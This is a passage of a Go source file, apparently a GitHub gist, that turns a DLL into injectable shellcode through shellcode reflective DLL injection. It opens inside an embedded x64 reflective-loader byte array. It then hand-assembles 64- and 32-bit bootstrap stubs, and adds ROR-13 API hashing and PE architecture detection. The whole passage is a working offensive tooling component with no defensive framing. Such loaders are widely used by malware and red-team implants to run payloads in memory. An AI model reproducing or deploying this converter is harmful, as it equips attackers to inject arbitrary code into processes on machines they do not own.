0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3} | |
| if userData == nil { | |
| userData = []byte("None") | |
| } | |
| var final []byte | |
| if is64BitDLL(dllBytes) { | |
| // do 64 bit things | |
| bootstrapSize := 64 | |
| // call next instruction (Pushes next instruction address to stack) | |
| bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} | |
| // Set the offset to our DLL from pop result | |
| dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64) | |
| // pop rcx - Capture our current location in memory | |
| bootstrap = append(bootstrap, 0x59) | |
| // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX | |
| bootstrap = append(bootstrap, 0x49, 0x89, 0xc8) | |
| // add rcx, <Offset of the DLL> | |
| bootstrap = append(bootstrap, 0x48, 0x81, 0xc1) | |
| bootstrap = append(bootstrap, pack(uint32(dllOffset))...) | |
| // mov edx, <Hash of function> | |
| bootstrap = append(bootstrap, 0xba) | |
| bootstrap = append(bootstrap, functionHash...) | |
| // Setup the location of our user data | |
| // add r8, <Offset of the DLL> + <Length of DLL> | |
| bootstrap = append(bootstrap, 0x49, 0x81, 0xc0) | |
| userDataLocation := dllOffset + len(dllBytes) | |
| bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) | |
| // mov r9d, <Length of User Data> | |
| bootstrap = append(bootstrap, 0x41, 0xb9) | |
| bootstrap = append(bootstrap, pack(uint32(len(userData)))...) | |
| // push rsi - save original value | |
| bootstrap = append(bootstrap, 0x56) | |
| // mov rsi, rsp - store our current stack pointer for later | |
| bootstrap = append(bootstrap, 0x48, 0x89, 0xe6) | |
| // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes | |
| bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0) | |
| // sub rsp, 0x30 - Create some breathing room on the stack | |
| bootstrap = append(bootstrap, 0x48, 0x83, 0xec) | |
| bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment | |
| // mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space | |
| bootstrap = append(bootstrap, 0xC7, 0x44, 0x24) | |
| bootstrap = append(bootstrap, 0x20) | |
| bootstrap = append(bootstrap, pack(uint32(flags))...) | |
| // call - Transfer execution to the RDI | |
| bootstrap = append(bootstrap, 0xe8) | |
| bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions | |
| bootstrap = append(bootstrap, 0x00, 0x00, 0x00) | |
| // mov rsp, rsi - Reset our original stack pointer | |
| bootstrap = append(bootstrap, 0x48, 0x89, 0xf4) | |
| // pop rsi - Put things back where we left them | |
| bootstrap = append(bootstrap, 0x5e) | |
| // ret - return to caller | |
| bootstrap = append(bootstrap, 0xc3) | |
| final = append(bootstrap, rdiShellcode64...) | |
| final = append(final, dllBytes...) | |
| final = append(final, userData...) | |
| } else { | |
| // do 32 bit things | |
| bootstrapSize := 45 | |
| // call next instruction (Pushes next instruction address to stack) | |
| bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} | |
| // Set the offset to our DLL from pop result | |
| dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32) | |
| // pop eax - Capture our current location in memory | |
| bootstrap = append(bootstrap, 0x58) | |
| // mov ebx, eax - copy our location in memory to ebx before we start modifying eax | |
| bootstrap = append(bootstrap, 0x89, 0xc3) | |
| // add eax, <Offset to the DLL> | |
| bootstrap = append(bootstrap, 0x05) | |
| bootstrap = append(bootstrap, pack(uint32(dllOffset))...) | |
| // add ebx, <Offset to the DLL> + <Size of DLL> | |
| bootstrap = append(bootstrap, 0x81, 0xc3) | |
| userDataLocation := dllOffset + len(dllBytes) | |
| bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) | |
| // push <Flags> | |
| bootstrap = append(bootstrap, 0x68) | |
| bootstrap = append(bootstrap, pack(uint32(flags))...) | |
| // push <Length of User Data> | |
| bootstrap = append(bootstrap, 0x68) | |
| bootstrap = append(bootstrap, pack(uint32(len(userData)))...) | |
| // push ebx | |
| bootstrap = append(bootstrap, 0x53) | |
| // push <hash of function> | |
| bootstrap = append(bootstrap, 0x68) | |
| bootstrap = append(bootstrap, functionHash...) | |
| // push eax | |
| bootstrap = append(bootstrap, 0x50) | |
| // call - Transfer execution to the RDI | |
| bootstrap = append(bootstrap, 0xe8) | |
| bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions | |
| bootstrap = append(bootstrap, 0x00, 0x00, 0x00) | |
| // add esp, 0x14 - correct the stack pointer | |
| bootstrap = append(bootstrap, 0x83, 0xc4, 0x14) | |
| // ret - return to caller | |
| bootstrap = append(bootstrap, 0xc3) | |
| final = append(bootstrap, rdiShellcode32...) | |
| final = append(final, dllBytes...) | |
| final = append(final, userData...) | |
| } | |
| return final | |
| } | |
| // helper function similar to struct.pack from python3 | |
| func pack(val uint32) []byte { | |
| bytes := make([]byte, 4) | |
| binary.LittleEndian.PutUint32(bytes, val) | |
| return bytes | |
| } | |
| // "HelloWorld" = 3571859646 | |
| func hashFunctionName(name string) uint32 { | |
| function := []byte(name) | |
| function = append(function, 0x00) | |
| functionHash := uint32(0) | |
| for _, b := range function { | |
| functionHash = ror(functionHash, 13, 32) | |
| functionHash += uint32(b) | |
| } | |
| return functionHash | |
| } | |
| // ROR-13 implementation | |
| func ror(val uint32, rBits uint32, maxBits uint32) uint32 { | |
| exp := uint32(math.Exp2(float64(maxBits))) - 1 | |
| return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp) | |
| } | |
| func is64BitDLL(dllBytes []byte) bool { | |
| machineIA64 := uint16(512) | |
| machineAMD64 := uint16(34404) | |
| headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64]) | |
| machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2]) | |
| // 64 bit | |
| if machine == machineIA64 || machine == machineAMD64 { | |
| return true | |
| } | |
| return false | |
| } | |
| func readFile(path string) ([]byte, error) { | |
| fileBytes, err := ioutil.ReadFile(path) | |
| if err != nil { | |
| return nil, err | |
| } | |
| return fileBytes, nil | |
| } | |
| func writeFile(filename string, contents []byte) error { | |
| f, err := os.Create(filename) | |
| if err != nil { | |
| return err | |
| } | |
| defer f.Close() | |
| _, err = f.Write(contents) | |
| if err != nil { | |
| return err | |
| } | |
| return nil | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment